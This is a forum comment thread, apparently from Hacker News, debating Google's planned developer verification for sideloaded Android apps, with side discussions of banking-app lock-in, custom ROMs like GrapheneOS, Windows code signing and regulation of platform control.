They have a nice web app, but you must use their mobile app to login on the web version. The app takes a video of a QR code on the web page during login. Web login completes as soon as the mobile app notifies the server. There's no 2FA code to enter, and no alternative.
I asked them about this, by phone call, when my phone screen broke and I urgently needed to make a transaction. Surely there as an alternative? Or could I do the transaction by phone call?
They told me that indeed there is no other option. Despite having phone customer support, they had no phone or web banking service at all which could be used without a registered mobile device. The only phone service they could perform was to register a new mobile device, which I didn't have. I had a tablet, but it was too old.
So I had no good choice. The Android phone I'm using right now was bought in a hurry just so I could be allowed to make a bank transaction.
It wasn't my first choice of phone. I didn't have time to investigate alternative devices, let alone weigh up open alternatives. I ended up buying a mid-range device under pressure that seemed ok and was available in a store without waiting. (It was a brand new Samsung, and despite the IP rating it got water damaged and stopped working entirely after a few splashes a year or so later, but I was able to get it repaired.)
Many many people have banking apps that will not work on non-Google-blessed devices, use banks that have mobile websites that are terrible, and need to do mobile check deposits (which is usually only available in the app, and not the mobile website, if the bank even has one). And no, we're not going to "change our bank".
The reality is that there are so many things that break, sometimes in subtle ways, when you try to use an alternative Android OS. Some people may not have any problems, and that's great! But many -- I would dare to say most -- will.
And there's also a ton of uncertainty: I don't really want to wipe my phone, install GrapheneOS, spend hours messing with it and setting it up, only to find that something critical doesn't work, and now I have to flash back to the stock OS, and hope I can restore everything the way it was.
That's not any OS' fault, that's banks fault. That's been my experience with every bank I've used so far and yes - they often break on certified OS' too! I've been on the phone with support!
Because they make bad software, period, and we're all just forced to use their bad software.
GrapheneOS is the way that all phone operating systems SHOULD be made. Layers and segregation between your banking apps and all the privacy breaking trash and malware you can get off the app store.
It is the banks and google making weird rootkit shit to try and lock down things that is the problem here.
[0] https://grapheneos.social/@GrapheneOS/114665558894105287
[1] https://grapheneos.social/@GrapheneOS/114359660453627718
I'd also need an alternate, safe source for common apps like Uber, Lyft, Slack, Kindle, Doordash, my banking/credit card apps, and a host of others that I use regularly. (And, no, "just use their website" is not acceptable; their website experiences are mostly crap.)
Way long ago I used to run CyanogenMod on my Android phones, and it was trivially easy to get every single app I needed working. Now it's a huge slog to get everything working on a non-Google-blessed OS, and I expect some things I use regularly just won't work. I hate hate hate this state of affairs. It makes me feel like I don't actually own my phone. But I've gotten so used to using these apps and features that it would reduce my quality of life (I know that sounds dramatic, but I'm lacking a better way to put it) to do without.
Path 1: a ZK-proof attestation certificate marketplace implemented by GrapheneOS (or similar) to prove safety in a privacy-securing way enough for 3rd party liability insurance markets to buy in. Banks etc can be indifferent, and wouldn't ignore the market if it got big enough. This would mean we could root any device with aggressive hacking and then apologize for it with ZK-proof certs that prove it's still in good hands - and banking apps don't need to care. No need for hard chains of custody like the Google security model.
Path 2: Don't even worry too hard about 3rd party devices or full OSes, we just need to make the option viable enough to shame Google into adopting the same ZK certificate schemes defensively. If they're reading all user data through ZK-proof certs instead of just downloading EVERYTHING then they're significantly neutered as a Big Brother force and for once we're able to actually trust them. They'd still have app marketplace centrality, but if and when phones are being subdivided with ZK-proof security it would make 3rd party monitoring of the dynamics of how those decisions get made very public (we'd see the same things google sees), so we could similarly shame them via alternatives into adopting reasonable default behaviors. Similar to Linux/Windows - Windows woulda been a lot more evil without the alternative next door.
Longer discussion (opinion not sourced from AI though): https://chatgpt.com/share/68ad1084-eb74-8003-8f10-ca324b5ea8...
"Many other devices are supported by GrapheneOS at a source level, and it can be built for them without modifications to the existing GrapheneOS source tree."
I gather the introduction of the android:allowBackup="false" manifest flag complicated things somewhat... I thought I read since then that a Device-to-Device (D2D) impersonation mode was implemented, and would love to hear if that helped?
(I posted a couple years ago about this topic, admittedly it was a bit ranty: https://news.ycombinator.com/item?id=37774254)
Fairphone from the Netherlands is another https://www.fairphone.com/
I have a Fairphone and i get updates pretty frequently so not sure what you mean?
That Fairphone has 13 just tells me they don't waste employee time in their small business on useless upgrades just for the sake of it. Their point is fair wages and ethical mineral mining: better that they have a workable phone without even more fluff, it seems to be tricky enough already in this world :(
The sole blocker preventing someone with a Fairphone 4, 5, or 6 from sending text messages via satellite is that they are not on Android 15.
LineageOS without gapps is really usable if you set aside the "big" social media apps. WhatsApp can be sourced from their website as an APK. The social apps like facebook, instagram, snap, tiktok and others all require Google Play's tracking services (aka gapps).
For YouTube there's multiple better alternative open source apps available, and mastodon, amethyst and the fediverse apps on f-droid are far superior in terms of performance to the Google Store alternatives.
Of course, that's a software support issue and not a constraint imposed by the OS. Someone could make Stellarium desktop work with an orientation sensor. It's just that nobody has done that particular thing, as well as a million other things that work super well on mobile
So is it second-class, or is it just a way that is optimised for output rather than input? You get the turn instructions presented to you, you can watch videos and listen to music, note-taking is optimised to work with a few taps and is reduced to the essentials you need. You can work them out later on computer if you have time at home over of course, but at least you can contribute that way with ease
I truly don't get it. Are these people from 2009? Have they seen the apps on the current app stores? If you're lucky your highest rated flashlight app will only have a few Fullscreen ads and a subscription less than $10/mo. The recipe sites from content farms are less bloated and way less scammy.
It's certainly not about preventing scams. It's about preventing competition in the scamming business.
> According to its own survey, Google says that more than 50 times more malware came through internet-sideloaded sources compared with Google Play, where it has required developer verification since 2023.
50:1 is not preventing. It is just "well, we are better than nothing"
I'm pretty sure there can be other curated stores that can serve the customer¹
[1] customer: owner of phone, not advertisers, data merchants, etc
There are millions of $ stolen via side-loaded malware.
It's good they decided to do something about it.
I don't need to sideload a fucking fake bank app to steal your money. Get real. This isn't how most fraud or scams are done. Grandma isn't gonna install a fucking unsigned binary on her android phone. But she IS going to give out her password.
You can pretty much disable all google services. Just a fair warning though, the experience is quite degraded.
This combined with the 'age verification' coming to all Google properties means it is a very small step from that new world to full Google verification of everything you visit and everything on your device, at any time, for any reason with the penalty being incontestable ban from your device, apps and data.
Get ready for facebook style 'we are interrupting you for a video selfie because we have detected you are a threat' across all google properties (Android, Chrome, Gmail, Maps...).
Move to linux phones, now.
At least most of the world has until 2027 to install LineageOS or GrapheneOS.
I’m not saying I have a solution but looking at yourself and pretending it’s all fine because you’re 10 times more tech savvy than the average citizen isn’t a viable answer. That kind of issue must be solved by regulation, hopefully Europe gets to bring back on earth whoever at Google agreed on that idea.
The "normies" won't protest because it mostly doesn't affect them, at least not in any direct and obvious way that would trigger a pushback.
Regulation is unlikely to give you what you want. For one thing, regulators love centralization in general because it makes it much easier to regulate - when there are only a few large players, you can write the laws around them, effectively forcing them to be the enforcers. A large and diverse field where users can install whatever apps from wherever is much harder to regulate wrt things like banning porn or violent games or whatever it is that "normies" feel upset and demand that SOMEONE DO SOMETHING ABOUT IT!!!1! today.
This isn't to say that you shouldn't try to use political tools. Just be very clear that what you're trying to achieve is a minority take, and therefore you're unlikely to actually reach the goal in a democracy; at best, you will move the needle very slightly.
So, if you want to actually enjoy freedom in the meantime, learn how to be a criminal.
I’m referring to protest happening in context like Hong Kong or in Africa during state coup, then having a phone that can run apps used to organize themselves without any government (and so Google) overreach is a necessity.
At the individual level, we could at best petition European deputies.
You’re saying government love centralization so they won’t do anything yet in apple case they forced them to allow third party App Store. Sure Apple did Apple stuff and put horrendous conditions and pricing but the political will was and is still there in Europe.
How exactly does the app detect this?
Can’t be bypassed without root and otherwise all rom not official and validated by Google are on time watch.
https://android-developers.googleblog.com/2024/12/making-pla...
Which only work on a tiny, almost insignificant sub-set of phones. If you don't have one of those, you're screwed.
Not to mention the bootloader is getting locked down so you can't even install one of these in the first place.
« Développer will have freedom » yet they are entitled to Google’s verification.
It’s just another stone in the grave of Android and even though I shipped off this sinking ship 6 years ago to iOS, this is still concerning because ultimately apple’s IOS is in competition solely with Android.
If Android gets so bad it has all the disadvantage of iOS, some more, for instance with the embedded spyware that manufacturer are paid to include, and none of the good side of iOS, then everyone lose. Apple doesn’t have to compete anymore, they just have to not suck.
With a free apple ID (no additional registration needed) you can also install your compiled iOS app on your iPhone and have it working for 7 days before you need to re-install it.
- money - tickets - identification
They cannot force everyone to own and buy a phone.
There's no law against a more democratic way to implement the broker either but it requires interesting methods of coordination and/or decision making that doesn't seem to exist yet?
Seems like it wouldn't be much of a stretch to compare that statement to not starting a business because the economy is unfair. People indeed don't start businesses when the bureaucratic or tax overhead outweighs the financial benefit, but nobody loses sleep over an individual's hypothetical missed opportunity to learn a new skill but them. Doesn't matter to the platform owners unless it also stops being profitable, so it's their job to maintain the profitability for their ecosystem despite whatever barriers they put up.
It's not enough to not have a law against it, we need to have and enforce laws requiring it.
Developers are businesses and the economics need to work. For that, safety and security is much more important than openness.
Meanwhile, you're not looking at those who left, or those who decided to never enter a broken market dominated by players convicted of monopolistic practices.
This seems much more intuitive than a hypothesis where somehow people would prefer to enter a closed market over a fair and open market with no barriers to entry.
Remember, monopolists succeed because they are distorting the market, not because they are in fact the most efficient competitor.
so much extra work involved that isn't building the app.
I worry how this will affect fdroid etc.
Just look up how to skip the "OOTB (out of the box) experience" and you can still bypass having to set up a cloud account on Windows 11 and can just set up a local account like normal. :)
Have a login. Pin features to a login. Mandate a login but w/ backdoor. Close the back door. "It's a backdoor, why not use the front door?"
These sorts of hurdles exist to push more and more users to their favorite workflow until the dissenting voice is too feeble to notice when they finally pull the plug on the straightforward method. The intent is certainly there, since they are quite evidently boiling the frog. Just wait for the fine day when you wake up in the morning to see an HN story just like this one about Windows login as well.
Doesnt this pretty much describe the entirety of the Linux experience though?
Setting things up was much more complicated as well. But I stuck it out, still hate Windows, but I've gotten a bit used to it.
> But there is no way an average system user is going to have the patience or often the skill necessary to do it.
It's like two commands. Super easy.
So you tolerate it. Matches what I felt. But it was more the stuff I couldn't control - like the timing of the updates and the incessant ads.
> It's like two commands. Super easy.
For you, yes. But problem for the average user is the patience required to figure it out. Also, I think the edition I used didn't have that option at all. Because I vaguely remember searching for a solution and not finding one that worked for me. Whatever it was, it will soon be like that for more or less everyone.
https://www.tomshardware.com/software/windows/microsoft-elim...
It's still possible to set up using only a local account, but who knows for how long.
But I agree about the trend. Microsoft will probably block this workaround eventually.
Even Windows has scary warnings now that pop up unless you pay several hundred dollars a year plus you have to go through a completely unreasonable process (that often requires being shipped a physical USB device) just to sign your application.
It looks like many in this thread are against, but I don't see suggestions for action?
Personally I de-googled last year, but those numbers never get counted by the bean-counters, so it is not much of a protest.
In this case I dont think much can be done via legislation, since the governments work less and less for-the-people. This is just the next logical step on the KYC road, but for developers, GitHub is heading the same way, along with EU chat controls, UK age controls, Digital Euro, and the rest.
The EU right-to-privacy may as well be torched, and freedoms that were hard won, will continue to be surrendered for an easier swipe of a gadget.
I'm sure this will be a massively unpopular one, but it doesn't change that this is the reality you're facing. Go look across the makeup of the EU parliament over the last 20 years and how it has shifted. Check the main reason people have voted this way. Then go look at how the EU parties vote.
"But it shouldn't be this way!" Then enjoy your further slide into authoritarianism.
Doesn't this make it prohibitively difficult to do local builds of open source projects? It's been a long time since I've done this, but my recollection was that the process to do this was essentially you would build someone else's (the project's) package/namespace up through signing, but sign it locally with your own dev keys. A glance at the docs they've shared makes it sound like the package name essentially gets bound to an identity and you then can't sign it with another key. Am a I misremembering and/or has something changed in this process? Am I missing something?
You could always run the APK on a stock AOSP build, or any fork of it in the internet.
I think anyone who works as a dev knew this was Google's endgame the moment they started circling the wagons with the app bundle stuff. It was already getting weird before that, but it was uncharacteristically out of step with historic Android.
But China does, and not tomorrow, not in the future, but today already, by selling unrestricted devices
not even to mention the h1b indian kickback stuff that's about to hit them. couldn't happen to a nicer company.
https://learn.microsoft.com/en-us/windows/apps/develop/smart...
If google does that then it’s not the worst.
Worst is having to get my ID and all details scanned and processed by Google.
It's a huge pain to set up initially, but it's smooth sailing after that. There's a good tutorial at https://melatonin.dev/blog/code-signing-on-windows-with-azur...
For what it's worth, in my experience it was even worse with EV certs though - all the same steps including removing WHOIS privacy, plus some extra ones like voice phone number validation that had to be repeated every single year.
And then there were extra WTFs with the EV cert expiration being 365 days after an issue date which is several days before you actually receive the hardware token. Or one year they sent the hardware token fairly promptly, but forget to send the password needed to use it, and it took a week to get a response from support etc. Then again, Azure Trusted Signing has similar ridiculousness with billing being based on calendar months, with no proration for your first month even if you started at the end of the month... I mean it's just $10 but it really adds insult to injury after that signup gauntlet.
Anyway, I've heard that if your Azure Trusted Signing process gets stuck in limbo, it can be best to submit a different document, but I'm not sure if there's any alternative permitted for the DUNS step. That's especially annoying because trying to update outdated info with Dun & Bradstreet is problematic in my experience, i.e. their web forms just plain did not function properly.
This is the future; partially fuelled by malware, partially fuelled by the desire for platform control, and partially fuelled by government regulation.
Someone should hit surveillance-alt-delete!
They tried to pull a similar move with WinRT/UWP, but nobody wanted it, so now you can continue with Win32.
They would love to do so, but legacy compatibility is a major business advantage.
They did a bunch of terrible inept rollouts with confusing technology for both users and developers and effectively shot themselves in the foot. But it did not have to go down that way.
Sounds like a nightmare universe.
I've got a hobby app in kotlin multiplatform with iOS/Android/Windows/WASM builds and while I have no issues with Apple's App Store or Google Play, I've had nothing but problems trying to support Windows Store.
The MSIX installer format is horrendous to deal with and the certification process for new releases on Windows Store is always far too long and in the cases they do find issues the reports of the issue that they log are entirely worthless.
I ended up just pulling the app off the Windows Store entirely and making it a downloadable *.msi installer. While the extra layer of presumed integrity of the app being on the Microsoft Store would be nice it wasn't remotely worth the effort for the tiny amount of people who were using the Windows version in the first place, especially given the app is free.
A lot of legacy software was killed off with the move to 64-bit Windows. Consumers survived that and for businesses registering their software with MS isn't a problem. They're already handing Microsoft all of their company email, their documents, their spreadsheets, etc. and paying Microsoft for the privilege. MS doesn't care at all about consumers.
Windows was never going to go another way than this.
Users who care about hardware and/or software freedom should be on linux.
The saddest part is this is to the detriment of literally everyone except a couple rich owners of those companies. And everyone has the right to vote. But western democracy is so indirect the people who understand and care have no way to change the law because their signal is lost in all the noise by those who don't know or don't care.
If the vote came down to people in favor of walled gardens or in favor of forcing companies to open their platforms, with everyone else not voting, it would be a landslide. But there's no way to vote on it this way.
Wow, how fix (WITHOUT intelligence tests as voting requirement) :(
The real issue is that western societies are built on individualism and the is that everyone is equal when they are obviously not and this would expose the lie.
---
However, the real issue is that decisions are packaged together. People vote for a party which they agree with on a few issues (or just one) and the rest become the noise.
So we need to split voting by issue. You could have one vote to determine which issues people care about most, then have multiple separate parlaments - but there would need to be a mechanism to force them to only write laws for the specific issue which is hard.
---
We could also allow people to override the votes of their representatives. The more people vote directly, the less weight the representatives have.
This doesn't make much sense to me.
To put the strongest face on it, by "cracked" youtube, you mean a version that shows the cracker's ads and maybe somehow generates extra clicks (or whatever) so they can get money out of it?
Cracked spotify? In my mind that's just like YouTube, almost entirely server-side. I guess you're talking about hijacking ads here, too? I feel like a "real" crack of Spotify would let you listen to music for free, but that should be impossible (unless their SWE's are incompetent).
My favorite was a local "discover which on your contacts is on the leaked Covid quarantine list[1]" scam app. It claimed that the extra permission dialogs are just fearmongering by Google, who is in cahoots with big pharma, and wants covid to spread to sell more medications.
[1] In fact, no such leak has ever taken place, its existence was just part of the setup for the scam.
But in practice, these “apps that lookalike popular apps” are not intended to just be adware-less versions of the popular apps. They are frequently “hide the ads, inject the malware with more permissions” Trojan horses.
Google is doing the same thing the fake apps are doing. Real problem: bad ads. Solution: cracked app. Trojan: too many permissions, steals data.
Google: problem: bad apps. Solution: advanced Google DRM. Trojan: too many permissions, steals data.
What a lovely granny that totally exists.
I am so sick of Google.
This is a monopoly with annual gross revenues bigger than all but 42 countries behaving this way.
They have conspired to control the web, browsers, mobile computing, and soon AI. It's sickening how much bad behavior they get away with.
They were able to use YouTube to bludgeon Windows Phone to death and become the de-facto mobile duopoly. Then they were able to get their shitty search engine on all the panes of glass, didn't care one iota about search quality (just ads), but were able to leverage their browser engine control to remove adblocking capabilities.
I hope the DOJ/FTC split Google into a dozen companies.
Sincerely.
There's no chance of that under the current regime. It loves bribery and Google has the money to get whatever they want.
Trump was a breath of fresh air talking about frustrations with the status quo that other politicians wouldn't acknowledge. But the only reason he was bringing them up was for use as a cudgel to shake down companies to enrich himself. He will very most certainly go after big tech monopolies and break them up... iff those big tech monopolies don't put bribes into his pocket. As long as his pockets get fatter, then the status quo is just peachy. It's called "making a deal".
This is just such an insane thing to say. It's like a Russian posting "I really hope our DOJ/FTC splits up Lukoil into a dozen companies!". But Russians don't post that because they're actually sensible.
This regulation of NSW, Australia considers rooted devices with extra non-Google/non-Apple approved security features such as a duress/wipe PIN (a standard feature of GrapheneOS[2]) as a "dedicated encrypted criminal communication device". How the device is being used doesn't matter. It's how it _could_ be used.
[1] https://classic.austlii.edu.au/au/legis/nsw/consol_act/ca190...
"(3) A dedicated encrypted criminal communication device does not include-- (a) a device if-- (i) the device has been designed, modified or equipped with software or security features, and (ii) a reasonable person would consider the software or security features have been applied for a primary purpose other than facilitating communication between persons involved in criminal activity to defeat law enforcement detection,"
It's not automatic: depending on what a reasonable person thinks and the definition of criminal activity.
Does the jurisdiction matter? For example, if an activist was using a device to do things in another country that would be legal in Australia but were crimes in the other country.
So "the government only considers a duress PIN illegal if it is used to facilitate crime" seems like a potentially tricky standard to apply.
But this is just legal fiction, so not a barrier to "automatic"
Basically, they're not really setting up for a blanket ban on personal security features, that interpretation is obviously catastrophizing. Not that there aren't hamfisted laws somewhere like this, but NSWs implementation seems OK I guess
It is always the human mind that dictates the action, not the tool. It is futile to try and ban the tool, and I bet 100% they knew that.
It will not happen in the next 10 years. Right now people would just make generic launchers and then use them to manually load and execute any binary they please. Options include just writing your thingy in a scripting language and run it in node.exe, python.exe, or compile it to WASM, use native bindings of a scripting language, abuse a random verified electron app, ship with and use a random vulnerably driver, etc etc.
Even remotely getting to the point where locking Windows down to that degree would be possible is going to take MS a long time, fighting friction from users all the way. The whole ecosystem would have to change drastically for that sort of control to even be possible and make sense.
The holes aren't really there because it would be so hard to close them in a vacuum, they're there because decades of software people use rely things working the old way. People aren't going to switch to a new OS on which almost nothing works anymore.
Are there still people who like using Windows?
You are assuming that everyone knows about or ever experienced the alternatives. Windows way is the only way for many.
On average my game library works much better under Linux than Windows (Mac is a distant third — probably worse than FreeBSD).
Anyway, at 1 in 20, most people probably know someone that runs Linux.
If I'm not allowed to develop and install my own apps on my own phone, what advantage does Android have over Apple?
I find it easier to do a git commit once every 89 days and see my app auto refreshed through Testflight for me and anyone else I care to let use it.
If you look at the build system SaaS pricing or even IDE pricing on Show HNs here, the Xcode cloud build and distribution ecosystem is an absolute steal at $9 a month. Private Testflight (with no review) can be more convenient than that desktop cable.
I genuinely can't tell whether this is sarcasm or not. Are you seriously comparing a 9$ per month plan Vs simply plugging your phone or syncing an app file wirelessly?
They are cheaper and come full of spyware preinstalled by manufacturer and carrier.
Customer see the price advantage, everyone else see the data harvesting (including Google). Everyone benefits in selling cheap Android phone.
Now you would be pretty stupid to buy 1k€ Android phone like Samsung ones because they still come with preinstalled and privileged Samsung, third party and Google spyware.
For instance, my s23 had 3 preinstalled meta app. 2 systemized app, 1 was Facebook client.
China offering more freedom than the supposed free world
Microsoft would love to do that too, but it just has too much of legacy software to introduce such a major hurdle.
You will need to boot to recovery mode, go through utility and enable it: https://support.apple.com/en-ca/guide/mac-help/mchl768f7291/...
Basically average users will never be able to pull this off.
Even with a signature they can't guarantee it doesn't have malware. The fact that signed malware exists should be enough to put an end to the argument that it's for our own good.
My original statement had nothing to do with motorcycle helmets, but if using them required us to give up enough of our freedoms they could also become unacceptable for the level or protection they provide (or fail to provide) us.
"It doesn't actually protect us though, so it isn't worth it and we shouldn't accept it."
That is completely false and dangerous misinformation.
> NSA: Linux Journal is an "extremist forum" and its readers get flagged for extra surveillance [0]
Looks like this is a part of the move toward Chat Control and ending E2E encryption.
[0] https://www.linuxjournal.com/content/nsa-linux-journal-extre...
> You shouldn’t have to choose between open and secure
2+2=5
Truly the end of an era. I've spent nearly two decades buying Android phones because of a single checkbox in settings that let me have the freedom I consider essential to any computing device that I own.
In a way, it's liberating, I've missed out on a lot from the Apple ecosystem because of that checkbox. Maybe finally I can let go of it now the choice is out of my hands.
[0] https://android-developers.googleblog.com/2025/08/elevating-...
If there's enough interest in US, then they may release it there, too.
Edit: In EU, so (lack of) bands are not an issue for me.
I'm also fine with sticking to older models. Never seen the point of having the latest and greatest (aka: pointless) feature anyway. Does certification only apply to new hardware or do manufacturers back-port it?
Amazon's "Kindle" tablets and TV devices famously do not ship Google apps, and sometimes you see restricted devices like the Rabbit R1 that just use the open-source parts of Android. But outside of China I don't think you can easily walk into a store and find a non-Google Android phone.
I don't think phones ever officially lapse out of Play Protect certified status -- the Nexus One, a phone from 2010, is still listed -- but presumably it'd be possible to find a phone old enough that it won't be able to download whatever Play Services OTA update they'll use to push this change.
If Google tells the vendors to jump, they ask how high.
People say this same shit about Firefox. "Oh they rely on Google for revenue! Jump ship jump ship!"
Yeah, and what about Chrome? How much does Chrome rely on Google for revenue? Its got fucking Google in the name.
follows: list of Google devices - great, but I don't have Stockholm syndrome
But in 2025 Google is some kind of IBM, Oracle blob with here a middle age MBA woman trying to gas-light you into an orweilian world she is paving for an awesome remuneration.
Also notice they do not say "open source" once in the post... now it is just "open". It is "open" but not your phone anymore.
Google don't even expose a per-app toggle for app Internet access, why am I surprised?
This is disgusting.
Freedom died a little bit more today.
Why is end-user choice and consent not considered?
It's really disturbing that the EU and Google would do this.
I can't recommend Android or iPhone because of this nonsense.
The elimination of user choice was very much considered. In fact, it's the primary goal.
I doubt I'll move away from Android too soon, but that definitely makes me reconsider whether any Google services have a right to CPU time on my device.
I've seen a lot of similar sentiment on this thread, but the reason I use Android is because it gives me more control than iOS by allowing full-on painless sideloading, and custom distributions like GrapheneOS. They're doing everything they can to turn themselves into a worse Apple. All of the downsides of Apple, but none of the upsides. Apple beats them in every aspect that isn't "openness".
When will the straw break the camel's back? I'm shocked we've let it get to this point with no realistic alternatives. There's no reason a competitive Linux-based smartphone can't exist (no, I'm not counting Android in that).
Yes there is. You all don't understand that they will use remote attestation to force everyone to use approved devices with signed apps on signed OSes only
You won't be able to bank, call a cab, write a chat message, watch a youtube video or do anything relevant on a device anymore that isn't signed, approved and controlled by google. They've made us cattle and now they are going to milk us dry.
There is; it's the "phone" part of "smartphone". Being a phone makes the device subject to a lot more requirements (for an obvious example, emergency dialing must always be available and work, and at the same time the phone must never accidentally dial the emergency number).
In my country, only cell phones certified by the government telecommunications agency (Anatel) can be imported, so I can't for instance go to the Jolla or PinePhone store and buy a Linux-based smartphone; if I tried, it would be sent back the moment the package entered the country. (See https://www.gov.br/anatel/pt-br/regulado/certificacao-de-pro... for details.)
Funnily, Google is one the few phone manufacturers who can’t make emergency calls to work. (e.g. search Pixel problems)
Why are Pixel phones allowed to be sold then? Google broke emergency calling on a least three different models, and at least once across models.
I hate how this always gets brought up because:
1. Evil has no definition, so it means nothing. They get to define what evil is for themselves. They stated their reasons they think this change is good. You can't prove it breaks their code of conduct.
2. It's straight up false, it's still in their code of conduct:
> And remember... don’t be evil, and if you see something that you think isn’t right – speak up!
Oh, yes... Actually I remember: it was a long slow series of accepting small artificial restrictions. I remember people laughing at me at the time. They said it won't matter, they didn't care, that I was paranoid...
Now... Here we are.
An important reminder: if your escape hatch is an economic irrelevancy, it might as well not exist.
See: Google search with '-ai'.
Mobile phones have never been free, we may just need to acknowledge this. From the 90s where telecom companies controlled everything, to now, where only 2 companies control everything. The only way to push back is through vendor-independent standards, especially for all security related stuff (because at the end of the day, security is the problem they are trying to "solve"). If standards exist, alternatives can be built.
Google can't even stop the scam ai companion apps on the play store that all use the same same backend full of characters...
Google also can't stop the huge wave of scam Bitcoin ads impersonating Canadian media outlets, with ai generated pictures and videos of politicians.
Get real Google.
https://calyxos.org/news/2025/08/01/a-letter-to-our-communit...
It does have an Android subsystem stuck on, but it's not necessary.
Will there be a local override?
Ok, but what's the real damage? In other words, how many installs and how much money siphoned from users and legit apps?
Whose smart idea was that.
I'm cancelling my Pixel 10 preorder.
> our recent analysis found over 50 times more malware from internet-sideloaded sources than on apps available through Google Play.
I will believe this when we stop seeing brazen malware in marquee app store apps, e.g. https://www.tracesecurity.com/blog/articles/meta-pixel-and-t...
It feels as if that would provide far more of a public service than this... whatever this is.
Are there stats on whether more malware and financial scams come from installed apps or from advertising?
https://support.google.com/googleplay/android-developer/thre...
That's why you have to have a business address, and get all your business admin ducks in a row, even if it's your first real monetized app. Your future self will always thank you!
A deleted comment mentioned this is an EU law, which is partially true, but there is also malicious compliance from Google’s side.
https://9to5mac.com/2024/10/17/developers-address-phone-numb...
The same thing was applied to the Apple store at the same time.
was a reason I bought Android. will they be sending me a refund?
What someone needs to do is create a "Store" browser that loads apps from random websites like https://site.tld/app.apk
You could manually parse AndroidManifest.xml and allow only apps that expose <uses-permission android:name="android.permission.INTERNET" />
I'm somewhat interested in doing this myself actually. What do people think?
The real heroes are the people that facilitate alternatives, not those who talk.
I know quite some people who live this way, and are very willing to overcome inconvenient hurdles to avoid having to use such a spying device.
To actually free yourself requires both commitment on your end and work on other people's end, those people who help facilitate alternatives and guide others to having more freedom and privacy. We need more of that work.
The speakers of the world have their place, of course, but that's not the most important part of the solution.
Such people both lead by example, and try to inspire others towards following their example/lifestyle. The problem rather is that most people want a different lifestyle (in the particular example of privacy and freedom "one with less radical consequences", which I consider to be rather contradictory, but this discussion shall be off topic).
To give an analogue: many vegetarians both lead by example, and inspire others to become vegetarians. But many people nevertheless don't want to become vegetarians.
This is kind of a lazy approach, and it's a good thing Stallman did not have that attitude towards personal computers.
But it's a bummer that there's no real equivalent for mobile devices. I use an Android device and I already consider it to be more locked down than Windows. Generally more irritating than Windows as well (maybe not Windows 11)
I also use it as little as possible (unfortunately more and more things require it) and try to get the smallest functional (for me) Android devices.
I've edited my post to not claim that all Stallman did was talk, which would've been wrong.
Like GNU?
Don't be evil Google!
The infamous Franklin quote always comes to mind when I see things like this happening. Choose freedom over security while you still can, or you'll soon not even have the freedom to choose.
It's also worth reading Stallman's "Right to Read" again, to see how scarily prescient he was.
IF that is the case, I'm actually willing to be slightly inclined to see this as a positive? We should normalize installing apps outside of Google Play, but that means malware becomes a serious issue with people downloading and installing random APKs.
e.g., this may normalize people hosting downloadable APKs whilst also reducing malware risk for "normies", which idealistically could weaken the "monopoly" of Google Play on android.
The problem is that Google is the gatekeeper.
In fact, you may not even be able to use any apps that interact with Google Play Services, which includes almost every app on the market.
[1] https://grapheneos.org/donate
Totally brain damaged ruling, the judge must have been molested by an Android phone at some point, but here we are, and google is now moving closer to an Apple model.
It's not countries that are affected, but people. And people sometimes move.
FWIW I'd rather not use my phone for critical transactions its making authorities lazy. The number of times Ive had to fight thanks to "buggy" payment code that deducts money is not funny and banks are getting worse at customer support day by day.
Also what the fuck are the governments doing with tax payer money, instead of going after criminals, we go after citizens.
I have a Concept2 rower with the old PM3 monitor which is no longer supported by their ErgData app and the only way to connect my phone to my rower is by sideloading the ancient version of the app that supports it. So that's going to break now?
Sadly, I haven't found any resources to running a _regular_ Android VM on Linux. The few resources focused on that use x86_64, which is not reasonable for a Linux phone.
No reason to ever touch another day of Kotlin.
Come to think of it, why am I even on Android now as a user?
In development, working on completely other problem spaces to mobile development at all. It's not 2012 anymore and there are other noteworthy growth areas to spend time on.
But one think in the short term was tonight I just spent some hours migrating registered accounts away using a Gmail account to Proton.
Regardless, this is extremely bad news.
The only reason why google phones became so popular was the fact that they were much less restrictive than iPhones. Thus the platform became the biggest phone platform in the world.
Now they are asking for a new start to arise and take their place.
The only saving grace is you can always import a Chinese phone without the play store at all, and then you can install what you want.
I already got popup in dashboard this morning
My phone is my phone, not Google’s. They have absolutely no right to prevent me from running whatever software I wish on that phone.
This must not be allowed to stand.
Smart phones try to limit and firewall the interface between the two but tight integration is required for energy efficiency. So a smart phone, or a cell phone, can never be yours. They aren't good choices for doing computing and this legal reality is becoming more and more obvious with time.
Maybe people live in a country where adding new regulations is difficult at the moment. In that case, push at for it at the state or province level. Push for it wherever you can. Suddenly these companies have to figure out how to work around 50 different state level laws? Painful. Good. Make it hurt to be evil.
People need to come together and push for regulatory roadblocks to things like this at every level. I think that's part of how you keep control of your own property and stand up against it.
You didn't fund the development of the OS, contribute to it (presumably), you didn't market it or position it alongside your brand.
I'd agree with you if you said you have a right to run anything on the hardware under a different OS, but you have no god given right to run whatever you want on the OS.
Regarding the topic, I can easily imagine a legitimate app on Google Play with available source code, where you find something inconvenient and your attempts to suggest a fix to the developer did not lead to the desired outcome. Currently, you or your developer friend can simply fork such an app, fix the issue, and release it for the general public without any extra paperwork. This Google policy would make such a developer suspicious/disabled by default (if the developer is not already verified), unless proved otherwise.
This is a depressing change if they follow through with this.
And "in the name of security" doesn't pass the smell test if there is no way to opt out.
The problem is that most normal people (HN is not normal - mostly for the better) don't even understand what sideloading is - let alone actually care.
How can we fix this?
(aside from making people care - apathy enables so many political problems in the current age, but it's such a huge problem that this definitely isn't going to be the impetus to fix it)
Its a very slippery slope that is very close to being implemented. In a way, we can hope that the current political climate somehow decimates the American corporations that control the systems, but it looks more like IBM during WW2 supplying counting machines to the Americans and to the Germans and everyone else.
The phone platform is officially lost at this point, there is too much political pressure to control it. We are going to increasingly need to rely on sneaker nets, small mesh networks, and home made "illegal" communication devices. The internet will continue to exist, but it is going to fracture more and more with the political wars that are happening at the moment.
It's not just the OS makers. They're also responding to the demand of companies and governments to control their users through them. They will not say "no".
